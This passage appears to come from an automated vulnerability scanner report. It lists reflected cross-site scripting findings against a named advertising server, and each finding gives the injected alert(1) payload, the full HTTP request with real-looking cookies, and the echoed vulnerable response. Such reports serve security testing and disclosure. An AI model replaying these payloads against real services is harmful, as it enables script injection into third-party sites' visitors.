Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 491
Date: Tue, 10 May 2011 13:34:06 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:34:06 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/generalcd302'-alert(1)-'751a437e7b3;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.8. http://a.collective-media.net/adj/ns.androidcentral/general [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 357aa'-alert(1)-'b8febab7243 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=%202250960881356150?&357aa'-alert(1)-'b8febab7243=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 495
Date: Tue, 10 May 2011 13:33:57 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:33:57 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150?&357aa'-alert(1)-'b8febab7243=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.9. http://a.collective-media.net/adj/ns.androidcentral/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8006'-alert(1)-'5f898280ebd was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ord=%202250960881356150?d8006'-alert(1)-'5f898280ebd HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 492
Date: Tue, 10 May 2011 13:33:20 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:33:20 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150?d8006'-alert(1)-'5f898280ebd;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.10. http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be56e'-alert(1)-'77633cd5bb4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentralbe56e'-alert(1)-'77633cd5bb4/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;ord=2250960881356150? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 495
Date: Tue, 10 May 2011 13:36:32 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:32 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentralbe56e'-alert(1)-'77633cd5bb4/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.11. http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c26ad'-alert(1)-'dab6a35d7c9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/generalc26ad'-alert(1)-'dab6a35d7c9/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;ord=2250960881356150? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 495
Date: Tue, 10 May 2011 13:36:33 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:33 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/generalc26ad'-alert(1)-'dab6a35d7c9/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.12. http://a.collective-media.net/adj/ns.androidcentral/general/archive [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f21e'-alert(1)-'99f2e7ff was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/general/archive9f21e'-alert(1)-'99f2e7ff;ppos=btf;kw=;tile=2;sz=300x250,336x280;ord=2250960881356150? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 492
Date: Tue, 10 May 2011 13:36:33 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:33 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/general/archive9f21e'-alert(1)-'99f2e7ff;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.13. http://a.collective-media.net/adj/ns.androidcentral/general/archive [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 17bf1'-alert(1)-'e03c47fd222 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;ord=2250960881356150?&17bf1'-alert(1)-'e03c47fd222=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 499
Date: Tue, 10 May 2011 13:36:30 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:30 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150?&17bf1'-alert(1)-'e03c47fd222=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.14. http://a.collective-media.net/adj/ns.androidcentral/general/archive [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62ba3'-alert(1)-'f387749da89 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;ord=2250960881356150?62ba3'-alert(1)-'f387749da89 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 496
Date: Tue, 10 May 2011 13:36:22 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:36:22 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150?62ba3'-alert(1)-'f387749da89;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.15. http://a.collective-media.net/adj/ns.knowyourmobile/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.knowyourmobile/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 275b8'-alert(1)-'b4357d79cc9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.knowyourmobile275b8'-alert(1)-'b4357d79cc9/general;ppos=atf;kw=;tile=2;sz=728x90;ord=2513010054826736? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 478
Date: Tue, 10 May 2011 13:39:10 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:39:10 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.knowyourmobile275b8'-alert(1)-'b4357d79cc9/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.16. http://a.collective-media.net/adj/ns.knowyourmobile/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.knowyourmobile/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2bd58'-alert(1)-'634864f9bca was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.knowyourmobile/general2bd58'-alert(1)-'634864f9bca;ppos=atf;kw=;tile=2;sz=728x90;ord=2513010054826736? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 478
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:39:13 GMT
Connection: close
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:39:13 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.knowyourmobile/general2bd58'-alert(1)-'634864f9bca;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.17. http://a.collective-media.net/adj/ns.knowyourmobile/general [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.knowyourmobile/general

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd0b5'-alert(1)-'e62edcfbb0d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;ord=2513010054826736?&fd0b5'-alert(1)-'e62edcfbb0d=1 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 482
Date: Tue, 10 May 2011 13:39:03 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:39:03 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736?&fd0b5'-alert(1)-'e62edcfbb0d=1;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.18. http://a.collective-media.net/adj/ns.knowyourmobile/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.knowyourmobile/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94826'-alert(1)-'a4712a312f9 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;ord=2513010054826736?94826'-alert(1)-'a4712a312f9 HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 479
Date: Tue, 10 May 2011 13:38:26 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: dc=dc; domain=collective-media.net; path=/; expires=Thu, 09-Jun-2011 13:38:26 GMT

var cmPageUrl; if(self == top) cmPageURL = document.location.href; else cmPageURL = document.referrer;
var ifr = (self==top ? '' : 'env=ifr;');
document.write('<scr'+'ipt language="javascript" src="http://a.collective-media.net/cmadj/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736?94826'-alert(1)-'a4712a312f9;'+ifr+'ord1=' +Math.floor(Math.random() * 1000000) + ';cmpgurl='+escape(escape(cmPageURL))+'?">
...[SNIP]...

4.19. http://a.collective-media.net/adj/ns.slashgear/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/adj/ns.slashgear/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 632cc'-alert(1)-'15cfcf94192 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/ns.slashgear632cc'-alert(1)-'15cfcf94192/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;ampc=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBGPgtMDrJTauSLMj0lAeZ-MGLBfKG-8sBAAAAEAEg3KOGAjgAWMKLheATYMmGhYmIpIQQsgERd3d3LnNsYXNoZ2Vhci5jb226AQlnZnBfaW1hZ2XIAQnaAVVodHRwOi8vd3d3LnNsYXNoZ2Vhci5jb20vc2Ftc3VuZy1nYWxheHktdGFiLTEwLTEtaGFuZHMtb24tYXQtZ29vZ2xlLWlvLTIwMTEtMDkxNTEwMjcvmAKIJ8ACAuACAOoCGFNsYXNoR2Vhci03Mjh4OTAtUHJpbWFyefgC8NEekAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtzXozm10NV5RS71pypP48jN1u48ug%26client%3Dca-pub-3201252381583585%26adurl%3D;ord=8602318128105253? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/banners/tier1_728x90.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; dc=dc; blue=1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
